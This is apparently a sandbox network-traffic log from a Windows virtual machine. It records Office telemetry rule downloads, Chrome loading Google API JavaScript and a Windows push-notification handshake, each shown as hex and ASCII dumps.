2024-11-11 11:40:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 45cb36d2-601e-0070-3cd5-33a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968n2hr8hC1EWR9cag00000004eg000000007kq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 8317a370-b01e-0001-33d5-3346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968qj8jrhC1EWRh41s00000004sg000000006zy8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:14 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c8cfd17a-b01e-0053-1cd5-33cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114014Z-174f7845968n2hr8hC1EWR9cag00000004k0000000003g18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:14 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49733	142.250.185.206	443	2940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 11:40:14 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 11 Nov 2024 00:32:18 GMT Expires: Tue, 11 Nov 2025 00:32:18 GMT Cache-Control: public, max-age=31536000 Age: 40076 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-11 11:40:14 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-11 11:40:14 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49727	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 41 30 34 6f 4d 31 39 73 30 6d 56 4e 69 46 63 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 34 34 30 63 65 30 36 38 61 64 39 31 32 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: rA04oM19s0mVNiFc.1Context: 6b440ce068ad9126
2024-11-11 11:40:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-11 11:40:14 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 72 41 30 34 6f 4d 31 39 73 30 6d 56 4e 69 46 63 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 34 34 30 63 65 30 36 38 61 64 39 31 32 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 68 74 70 52 61 4c 38 65 2f 6f 64 44 4a 35 65 57 51 46 4a 64 6f 4d 41 45 42 52 54 42 51 6e 45 4f 7a 6e 35 39 6f 4a 36 4d 38 30 37 34 51 49 54 34 7a 34 6f 71 4f 62 45 70 4e 56 71 56 47 4a 4f 54 75 64 76 4c 35 6c 4f 4a 4d 34 70 79 4c 4c 73 59 63 55 35 4f 45 78 45 66 53 62 62 32 62 6d 62 77 5a 47 64 71 57 61 51 70 65 57 30 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: rA04oM19s0mVNiFc.2Context: 6b440ce068ad9126<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZhtpRaL8e/odDJ5eWQFJdoMAEBRTBQnEOzn59oJ6M8074QIT4z4oqObEpNVqVGJOTudvL5lOJM4pyLLsYcU5OExEfSbb2bmbwZGdqWaQpeW04
2024-11-11 11:40:14 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 41 30 34 6f 4d 31 39 73 30 6d 56 4e 69 46 63 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 62 34 34 30 63 65 30 36 38 61 64 39 31 32 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: rA04oM19s0mVNiFc.3Context: 